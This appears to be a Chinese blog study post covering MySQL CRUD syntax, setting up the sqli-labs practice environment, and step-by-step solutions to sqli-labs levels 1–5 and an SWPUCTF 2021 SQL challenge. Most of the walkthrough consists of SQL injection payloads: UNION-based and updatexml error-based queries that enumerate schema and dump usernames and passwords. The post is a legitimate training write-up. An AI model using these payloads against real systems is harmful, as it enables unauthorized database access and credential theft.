第九周:1.mysql的增删改查 2.sqli-labs 3.SWPUCTF 2021 新生赛

一、MySQL增删改查

CURD:create 增加;update 修改;retrieve 查询;delete 删除

1.C

insert into 表名(列名,列名,······) values(值,值,·····)

2.R

a.全列查询

select * from 表名;*叫做通配符,代表所有列

b.指定列查询

select 列名 from 表名

c.带表达式的查询

select 表达式 from 表名

d.带别名的查询

select 列名/表达式  as 别名 from 表名

e.去重查询

select distinct 列名 from 表名

f.排序

select 列名 from 表名  order by 列名/表达式/别名 asc/desc

g.条件查询

select 列名/表达式 from 表名 where 条件

3.U

update 表名 set 列名= 值 where 条件

4.D

delete from 表名 where 条件

二、sqli-labs

1.搭建

打开phpstudy,启动Apache和MySQL

下载sqli-labs

https://github.com/Audi-1/sqli-labs

然后解压到localhost的根目录WWW下

776d58c945034feca5dd2758688c4b50.png

打开文件夹sqli-labs-master,找到如下文件夹打开aa375f82632449bd99a2c9a74dbabef8.png

然后使用记事本打开db-creds.inc,将pass修改为root

6afcbc20bc8c4ec9a24fa2ca8358b6fe.png

修改好保存,然后打开sqli-labs网站,访问http://127.0.0.1/sqli-labs-master/

出现如下界面

42476f30cc5b4ac092d480c25910b2d0.png

点击第一行Setup/reset Database for labs

若出现如下报错,将php版本换为5.x

973a226065b448d8b8da9238a7786677.png

b1fd63c9d94746f1867167d0b6706624.png

57e3e0f5ae2349ada60610cc8154313a.png

重新打开网站,继续上述操作,创建数据库,操作成功后界面如下:

184bea6eb0d8425db65365597e610f63.png

然后返回上个界面,点击page1,出现如下界面

2a3fc17b6b374f27bff5c2ee86a5495a.png

可以开始练习了

2.做题记录

【1】

黄色字体提示输入数字值的ID作为参数

4e93806eee114945802f46709b0b581d.png

输入?id=1(在英文模式下输入,否则无法查找到页面)

数字值不同,返回的内容也不同

441b2ba7200e4033bff4f67b2c2bc3b1.png

61eaf87a7188457497d8c42c18443eb8.png

然后判断SQL语句是否拼接以及是字符型还是数字型,输入?id=1'

693a3fec7163478c84ce8445c09c02fb.png

在后面加上--+

5163046a667c4700939760c0a39ca8dc.png

根据结果认定为字符型且存在sql注入漏洞,接下来使用联合注入

先看表格有几列,正常即为未超出列数,报错即超出列数

?id=1'order by 3 --+

页面正常无报错

?id=1'order by 4 --+

c67a5e24c74647a9ac26710c2ff0ca7c.png

报错说明表格有三列

接下来看看是哪一列的数据会显示在页面上

?id=-1'union select 1,2,3--+

cf3be543f7a8436ca50b5ea6f0640163.png

所以第二列和第三列的数据会显示在页面上

接下来获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

bdc11109aa754fc894f59d08006e1901.png

得知数据名是security,版本为5.7.26

下一步爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

3799300264834db2be191b2175df7e7a.png

然后爆字段名

通过上一步可知当前数据库有四个表,分别是emails,referers,uagents,users,根据名称推断用户的用户名和密码可能在users表中,需要得到该表下的字段名和内容

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

6bb4fe95fdda4e019c34b36db42b87ba.png

在表中发现了敏感字段username,password,接下来得到该字段对应的内容

?id=-1' union select 1,2,group_concat(username , password) from users--+

d627db7c94e14570b9790312ffb28ed8.png

在中间加个id可以分隔开账户和密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

e84ec6e1506341b8b9f18d50c385e97a.png

【2】

步骤同第一关

?id=1'

0c0ddc70629342d78b07e153c1f077cd.png

从报错信息得知为数字型注入

?id=1 order by 3

0a3b8ee73b824000b310356fae5d7c08.png

?id=1 order by 4

57670258f90d4bd3b7106d1497f25e8e.png

?id=-1 union select 1,2,3

9cffd58f6e264b2ea829e1f421f29f71.png

?id=-1 union select 1,database(),version()

4cba347ef81e42e58ca46a2d1d081cce.png

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

2172689a2e2b4101b758858421f3605b.png

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

f13f4b90fff34eaaa3d8bcb89b938137.png

?id=-1 union select 1,2,group_concat(username ,id , password) from users

14018dc49bee4d71a70ca6d4ab3d0a6e.png

【3】

?id=1'

e70362b8c7bd406d94b7881f5fbd47d1.png

从报错信息推断sql语句为单引号字符型且有括号,需要闭合单引号并考虑括号

?id=1')--+

be546d8af8dd4592a1082af8e7c1ed52.png

?id=1') order by 3--+

63076b7f7e834ff1a8e3d5e335bea608.png

?id=1') order by 4--+

58e834c37925495b93450fa308aeae4b.png

?id=-1') union select 1,2,3--+

194224b27a274c6eb9aff7266bc386ee.png

?id=-1') union select 1,database(),version()--+

e144fc7a6b1e47099200494c3e48d976.png

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

49f3c2e94eff46b1a57de844e9036b1d.png

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

f5a3760845244271a8859f93030f4fb2.png

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

3715e28ea43a422baa0ec0894e94ac71.png

【4】

单引号页面正常显示,双引号有报错,根据信息显示推断为双引号字符型并带有括号

93dea7b7538f4abeb1b28da6208cc05b.png

?id=1")--+

4306f002c9c445e7bf745796ddb74db6.png

?id=1") order by 3--+

正常

?id=1") order by 4--+

6b0d22c75d1e4c69b887e53e0c29811f.png

?id=-1") union select 1,2,3--+

bb788680e74d4719bc4f02f168828fa8.png

?id=-1") union select 1,database(),version()--+

ee0963864ac44f96a755feb3c7f4a082.png

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

79fe2d8db8c64f23ae584a92c53f6b24.png

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

44413cd4eb5549bea19aa690ab0bffc3.png

?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

fa6f6c3bc46043d29eef5852237f20f5.png

【5】

与前几关不同的是,第五关没有页面回显,所以联合注入没用,这里用到报错注入

先判断闭合方式,是   ’ 闭合 

然后判断注入点

?id=1'and 1=1--+

发现页面无回显,请求语句正确是打印you are in...,错误不显示

然后爆库名

?id=1'and updatexml(1,concat(0x7e,database(),0x7e,version(),0x7e),1)--+

a551a62b86234a67928445421f94975c.png

接下来爆表名

?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

fc879745ec484936a2bfd2af7d62e65d.png

然后爆列名

?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1)--+

b38263d560cc43279df3df02dba759a8.png

下一步爆出字段下内容(updatexml函数报错内容长度不能超过32个字符,所以无法查看全部内容,可以用limit一个一个的查看)

?id=1'and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1)--+

b1a2956d4f774ef5a839a94d62cd282d.png

用limit

?id=1'and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)--+

9540e67adc0b4d85bb9346c310db43ad.png

三、SWPUCTF 2021 新生赛 easy_sql

点开环境,标题“参数是wllm”

7d473ce41b134283813c0f4d68e74ba6.png

地址栏输入wllm试试

2ced7a6387b54bd4965422e5f241819f.png

没有回显,再输点东西试试

323276709f6b430eb4b8dfd9b4fe67f0.png

由报错显示是单引号闭合

?wllm=1'order by 4--+

33b9cba17d80419cb956a6be4f1dc53d.png

?wllm=-1'union select 1,2,3--+

fa400858d8a44c6ab21fa9a3eec381bb.png

?wllm=-1'union select 1,database(),version()--+

4f43d26b334c4484b3b19cf3aa502a58.png

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

f77cc07c90f1460ea3cf038ac18f1b1d.png

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

0e1dc0a87ba34329a45c96b64322cd07.png

?wllm=-1' union select 1,2,group_concat(id , flag) from test_tb--+

7f1963c30f504da9afbe01f9b5b56795.png

c232b19e00204fd98a279c1a4fc14481.png

  • 17
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值